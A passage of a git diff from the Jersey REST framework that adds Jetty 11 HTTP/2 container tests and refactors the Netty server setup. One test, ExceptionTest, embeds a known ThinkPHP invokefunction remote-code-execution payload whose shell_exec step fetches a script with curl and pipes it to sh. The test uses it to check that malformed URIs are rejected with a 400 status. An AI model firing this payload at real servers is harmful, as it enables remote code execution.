{ + switch (runtimeType) { + case SERVER: + return getPort(); + case CLIENT: + return server.getURI().getPort(); + default: + throw new IllegalStateException("Unexpected runtime type"); + } + } + + private volatile Server server; + + public UriBuilder getUri() { + return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT); + } + + public void startServer(Class... resources) { + ResourceConfig config = new ResourceConfig(resources); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final URI baseUri = getBaseUri(); + server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true); + LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI()); + } + + public void startServer(ResourceConfig config) { + final URI baseUri = getBaseUri(); + server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true); + LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI()); + } + + public URI getBaseUri() { + return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build(); + } + + public void stopServer() { + try { + server.stop(); + server = null; + LOGGER.log(Level.INFO, "Jetty-http server stopped."); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @AfterEach + public void tearDown() { + if (server != null) { + stopServer(); + } + } +}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java new file mode 100644 index 0000000..0a3774b --- /dev/null +++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java
@@ -0,0 +1,169 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.concurrent.atomic.AtomicInteger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Response; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.is; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Michal Gajdos + */ +public class AsyncTest extends AbstractJetty11ServerTester { + + @Path("/async") + @SuppressWarnings("VoidMethodAnnotatedWithGET") + public static class AsyncResource { + + public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0); + + @GET + public void asyncGet(@Suspended final AsyncResponse asyncResponse) { + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep() + try { + Thread.sleep(5000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(final AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.") + .build()); + } + }); + asyncResponse.setTimeout(3, TimeUnit.SECONDS); + + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep() + try { + Thread.sleep(7000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("multiple-invocations") + public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) { + INVOCATION_COUNT.incrementAndGet(); + + new Thread(new Runnable() { + @Override + public void run() { + asyncResponse.resume("OK"); + } + }).start(); + } + } + + private Client client; + + @BeforeEach + public void setUp() throws Exception { + startServer(AsyncResource.class); + client = ClientBuilder.newClient(); + } + + @Override + @AfterEach + public void tearDown() { + super.tearDown(); + client = null; + } + + @Test + public void testAsyncGet() throws ExecutionException, InterruptedException { + final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + // get() waits for the response + assertEquals("DONE", response.readEntity(String.class)); + } + + @Test + public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException { + final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } + + /** + * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request. + */ + @Test + public void testAsyncMultipleInvocations() throws Exception { + final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get(); + + assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1)); + + assertThat(response.getStatus(), is(200)); + assertThat(response.readEntity(String.class), is("OK")); + } +}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java new file mode 100644 index 0000000..6f0ad22 --- /dev/null +++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java
@@ -0,0 +1,97 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.apache.http.HttpHost; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.http.message.BasicHttpRequest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.PathParam; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import java.io.IOException; +import java.net.URI; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Paul Sandoz + */ +public class ExceptionTest extends AbstractJetty11ServerTester { + @Path("{status}") + public static class ExceptionResource { + @GET + public String get(@PathParam("status") int status) { + throw new WebApplicationException(status); + } + + } + + @Test + public void test400StatusCodeForIllegalSymbolsInURI() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction" + + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0" + + ".0.1/ldr.sh|sh"; + BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCodeForIllegalHeaderValue() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400"); + request.addHeader("X-Forwarded-Host", "_foo.com"); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCode() throws IOException { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("400").build()); + assertEquals(400, r.request().get(Response.class).getStatus()); + } + + @Test + public void test500StatusCode() { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("500").build()); + + assertEquals(500, r.request().get(Response.class).getStatus()); + } +}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java new file mode 100644 index 0000000..517d6e2 --- /dev/null +++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java
@@ -0,0 +1,133 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener; +import org.glassfish.jersey.server.spi.Container; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import static org.hamcrest.CoreMatchers.equalTo; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Reload and ContainerLifecycleListener support test. + * + * @author Paul Sandoz + * @author Marek Potociar + */ +public class LifecycleListenerTest extends AbstractJetty11ServerTester { + + @Path("/one") + public static class One { + @GET + public String get() { + return "one"; + } + } + + @Path("/two") + public static class Two { + @GET + public String get() { + return "two"; + } + } + + public static class Reloader extends AbstractContainerLifecycleListener { + Container container; + + public void reload(ResourceConfig newConfig) { + container.reload(newConfig); + } + + public void reload() { + container.reload(); + } + + @Override + public void onStartup(Container container) { + this.container = container; + } + + } + + @Test + public void testReload() { + final ResourceConfig rc = new ResourceConfig(One.class); + + Reloader reloader = new Reloader(); + rc.registerInstances(reloader); + + startServer(rc); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals(404, r.path("two").request().get(Response.class).getStatus()); + + // add Two resource + reloader.reload(new ResourceConfig(One.class, Two.class)); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals("two", r.path("two").request().get(String.class)); + } + + static class StartStopListener extends AbstractContainerLifecycleListener { + volatile boolean started; + volatile boolean stopped; + + @Override + public void onStartup(Container container) { + started = true; + } + + @Override + public void onShutdown(Container container) { + stopped = true; + } + } + + @Test + public void testStartupShutdownHooks() { + final StartStopListener listener = new StartStopListener(); + + startServer(new ResourceConfig(One.class).register(listener)); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertThat(r.path("one").request().get(String.class), equalTo("one")); + assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404)); + + stopServer(); + + assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called."); + assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called."); + } +}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java new file mode 100644 index 0000000..d5b7cc5 --- /dev/null +++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java
@@ -0,0 +1,62 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Response; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class OptionsTest extends AbstractJetty11ServerTester { + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + } + + @Test + public void testFooBarOptions() { + startServer(HelloWorldResource.class); + Client client = ClientBuilder.newClient(); + Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(0, response.getLength()); + assertEquals("foo/bar", response.getMediaType().toString()); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + +}
diff --git a/containers/netty-http/pom.xml b/containers/netty-http/pom.xml index 2b07fcf..c9b91f8 100644 --- a/containers/netty-http/pom.xml +++ b/containers/netty-http/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.containers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-container-netty-http</artifactId> @@ -42,6 +42,11 @@ <artifactId>jersey-netty-connector</artifactId> <version>${project.version}</version> </dependency> + <dependency> + <groupId>org.hamcrest</groupId> + <artifactId>hamcrest</artifactId> + <scope>test</scope> + </dependency> </dependencies> <build>
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java index 924fb9a..3212cd7 100644 --- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java +++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -135,6 +135,11 @@ private final Map<String, Object> properties = new HashMap<>(); @Override + public boolean hasProperty(final String name) { + return properties.containsKey(name); + } + + @Override public Object getProperty(String name) { return properties.get(name); }
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java index 0b43e1e..69105a1 100644 --- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java +++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java
@@ -166,6 +166,11 @@ private final Map<String, Object> properties = new HashMap<>(); @Override + public boolean hasProperty(final String name) { + return properties.containsKey(name); + } + + @Override public Object getProperty(String name) { return properties.get(name); }
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java index cbd7fe4..d6e8508 100644 --- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java +++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java
@@ -41,6 +41,11 @@ this.appHandler.onStartup(this); } + NettyHttpContainer(Class<? extends Application> applicationClass) { + this.appHandler = new ApplicationHandler(applicationClass); + this.appHandler.onStartup(this); + } + @Override public ResourceConfig getConfiguration() { return appHandler.getConfiguration();
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java index 6f926c0..3d78837 100644 --- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java +++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -58,7 +58,7 @@ * Create and start Netty server. * * @param baseUri base uri. - * @param configuration Jersey configuration. + * @param container Jersey container. * @param sslContext Netty SSL context (can be null). * @param block when {@code true}, this method will block until the server is stopped. When {@code false}, the * execution will @@ -66,25 +66,64 @@ * @return Netty channel instance. * @throws ProcessingException when there is an issue with creating new container. */ - public static Channel createServer(final URI baseUri, final ResourceConfig configuration, SslContext sslContext, + public static Channel createServer(final URI baseUri, final NettyHttpContainer container, SslContext sslContext, final boolean block) throws ProcessingException { + final ServerBootstrap serverBootstrap = createServerBootstrap(baseUri, container, sslContext); + return startServer(getPort(baseUri), container, serverBootstrap, block); + } + + /** + * Create but not start Netty server. + * + * @param baseUri base uri. + * @param container Jersey container. + * @param sslContext Netty SSL context (can be null). + * @return Netty bootstrap instance. + * @throws ProcessingException when there is an issue with creating new container. + */ + static ServerBootstrap createServerBootstrap(final URI baseUri, final NettyHttpContainer container, SslContext sslContext) { + final JerseyServerInitializer jerseyServerInitializer = + new JerseyServerInitializer(baseUri, sslContext, container, container.getConfiguration()); + return createServerBootstrap(jerseyServerInitializer); + } + + private static ServerBootstrap createServerBootstrap(final JerseyServerInitializer jerseyServerInitializer) { // Configure the server. final EventLoopGroup bossGroup = new NioEventLoopGroup(1); final EventLoopGroup workerGroup = new NioEventLoopGroup(); - final NettyHttpContainer container = new NettyHttpContainer(configuration); + + ServerBootstrap b = new ServerBootstrap(); + b.option(ChannelOption.SO_BACKLOG, 1024); + b.group(bossGroup, workerGroup) + .channel(NioServerSocketChannel.class) + .childHandler(jerseyServerInitializer); + + return b; + } + + /** + * Start Netty server. + * + * @param port IP port to listen. + * @param container Jersey container. + * @param serverBootstrap Netty server bootstrap (i. e. prepared but unstarted server instance) + * @param block when {@code true}, this method will block until the server is stopped. When {@code false}, the + * execution will + * end immediately after the server is started. + * @return Netty channel instance. + * @throws ProcessingException when there is an issue with creating new container. + */ + static Channel startServer(final int port, final NettyHttpContainer container, final ServerBootstrap serverBootstrap, + final boolean block) + throws ProcessingException { try { - ServerBootstrap b = new ServerBootstrap(); - b.option(ChannelOption.SO_BACKLOG, 1024); - b.group(bossGroup, workerGroup) - .channel(NioServerSocketChannel.class) - .childHandler(new JerseyServerInitializer(baseUri, sslContext, container, configuration)); + final EventLoopGroup bossGroup = serverBootstrap.config().group(); + final EventLoopGroup workerGroup = serverBootstrap.config().childGroup(); - int port = getPort(baseUri); - - Channel ch = b.bind(port).sync().channel(); + Channel ch = serverBootstrap.bind(port).sync().channel(); ch.closeFuture().addListener(new GenericFutureListener<Future<? super Void>>() { @Override @@ -112,6 +151,24 @@ * * @param baseUri base uri. * @param configuration Jersey configuration. + * @param sslContext Netty SSL context (can be null). + * @param block when {@code true}, this method will block until the server is stopped. When {@code false}, the + * execution will + * end immediately after the server is started. + * @return Netty channel instance. + * @throws ProcessingException when there is an issue with creating new container. + */ + public static Channel createServer(final URI baseUri, final ResourceConfig configuration, SslContext sslContext, + final boolean block) + throws ProcessingException { + return createServer(baseUri, new NettyHttpContainer(configuration), sslContext, block); + } + + /** + * Create and start Netty server. + * + * @param baseUri base uri. + * @param configuration Jersey configuration. * @param block when {@code true}, this method will block until the server is stopped. When {@code false}, the * execution will * end immediately after the server is started. @@ -140,39 +197,18 @@ public static Channel createHttp2Server(final URI baseUri, final ResourceConfig configuration, SslContext sslContext) throws ProcessingException { - final EventLoopGroup bossGroup = new NioEventLoopGroup(1); - final EventLoopGroup workerGroup = new NioEventLoopGroup(); final NettyHttpContainer container = new NettyHttpContainer(configuration); - try { - ServerBootstrap b = new ServerBootstrap(); - b.option(ChannelOption.SO_BACKLOG, 1024); - b.group(bossGroup, workerGroup) - .channel(NioServerSocketChannel.class) - .childHandler(new JerseyServerInitializer(baseUri, sslContext, container, configuration, true)); + final JerseyServerInitializer jerseyServerInitializer = + new JerseyServerInitializer(baseUri, sslContext, container, configuration, true); + ServerBootstrap serverBootstrap = createServerBootstrap(jerseyServerInitializer); - int port = getPort(baseUri); + int port = getPort(baseUri); - Channel ch = b.bind(port).sync().channel(); - - ch.closeFuture().addListener(new GenericFutureListener<Future<? super Void>>() { - @Override - public void operationComplete(Future<? super Void> future) throws Exception { - container.getApplicationHandler().onShutdown(container); - - bossGroup.shutdownGracefully(); - workerGroup.shutdownGracefully(); - } - }); - - return ch; - - } catch (InterruptedException e) { - throw new ProcessingException(e); - } + return startServer(port, container, serverBootstrap, false); } - private static int getPort(URI uri) { + static int getPort(URI uri) { if (uri.getPort() == -1) { if ("http".equalsIgnoreCase(uri.getScheme())) { return 80;
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServer.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServer.java new file mode 100644 index 0000000..7b28779 --- /dev/null +++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServer.java
@@ -0,0 +1,136 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.netty.httpserver; + +import java.net.InetSocketAddress; +import java.net.URI; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.CompletionException; + +import javax.net.ssl.SSLContext; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; + +import io.netty.bootstrap.ServerBootstrap; +import io.netty.channel.Channel; +import io.netty.handler.ssl.ClientAuth; +import io.netty.handler.ssl.JdkSslContext; + +/** + * Jersey {@code Server} implementation based on Netty {@link Channel}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +final class NettyHttpServer implements WebServer { + + private final NettyHttpContainer container; + + private final ServerBootstrap serverBootstrap; + + private volatile Channel channel; + + private final int port; + + NettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) { + this(new NettyHttpContainer(application), configuration); + } + + NettyHttpServer(final Class<? extends Application> applicationClass, + final JerseySeBootstrapConfiguration configuration) { + this(new NettyHttpContainer(applicationClass), configuration); + } + + NettyHttpServer(final NettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) { + final SSLContext sslContext = configuration.sslContext(); + final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration + .sslClientAuthentication(); + + final URI uri = configuration.uri(true); + this.port = NettyHttpContainerProvider.getPort(uri); + + this.container = container; + this.serverBootstrap = NettyHttpContainerProvider.createServerBootstrap( + uri, + this.container, + configuration.isHttps() + ? new JdkSslContext(sslContext, false, nettyClientAuth(sslClientAuthentication)) + : null + ); + + if (configuration.autoStart()) { + this.channel = NettyHttpContainerProvider.startServer(this.port, this.container, this.serverBootstrap, false); + } + } + + private static final ClientAuth nettyClientAuth( + final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication) { + switch (sslClientAuthentication) { + case MANDATORY: + return ClientAuth.REQUIRE; + case OPTIONAL: + return ClientAuth.OPTIONAL; + default: + return ClientAuth.NONE; + } + } + + @Override + public final NettyHttpContainer container() { + return this.container; + } + + @Override + public final int port() { + return this.channel == null ? this.port : ((InetSocketAddress) this.channel.localAddress()).getPort(); + } + + @Override + public final CompletableFuture<Object> start() { + return this.channel != null ? CompletableFuture.completedFuture(this.channel) + : CompletableFuture.supplyAsync(() -> { + try { + this.channel = NettyHttpContainerProvider.startServer(this.port, this.container, + this.serverBootstrap, false); + return this.channel; + } catch (final Exception e) { + throw new CompletionException(e); + } + }); + } + + @Override + public final CompletableFuture<Void> stop() { + return this.channel == null ? CompletableFuture.completedFuture(null) : CompletableFuture.supplyAsync(() -> { + try { + return this.channel.close().get(); + } catch (final Exception e) { + throw new CompletionException(e); + } + }); + } + + @Override + public final <T> T unwrap(final Class<T> nativeClass) { + return nativeClass.cast(this.channel == null ? this.serverBootstrap : this.channel); + } + +}
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProvider.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProvider.java new file mode 100644 index 0000000..0749369 --- /dev/null +++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProvider.java
@@ -0,0 +1,52 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.netty.httpserver; + +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; + +import io.netty.channel.Channel; + +/** + * Server provider for servers based on Netty {@link Channel}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class NettyHttpServerProvider implements WebServerProvider { + + @Override + public <T extends WebServer> T createServer(final Class<T> type, final Application application, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(NettyHttpServer.class, type, configuration) + ? type.cast(new NettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } + + @Override + public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(NettyHttpServer.class, type, configuration) + ? type.cast(new NettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } +}
diff --git a/containers/netty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/netty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider new file mode 100644 index 0000000..61e6e1b --- /dev/null +++ b/containers/netty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@ +org.glassfish.jersey.netty.httpserver.NettyHttpServerProvider \ No newline at end of file
diff --git a/containers/netty-http/src/test/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProviderTest.java b/containers/netty-http/src/test/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProviderTest.java new file mode 100644 index 0000000..8ea7dd5 --- /dev/null +++ b/containers/netty-http/src/test/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProviderTest.java
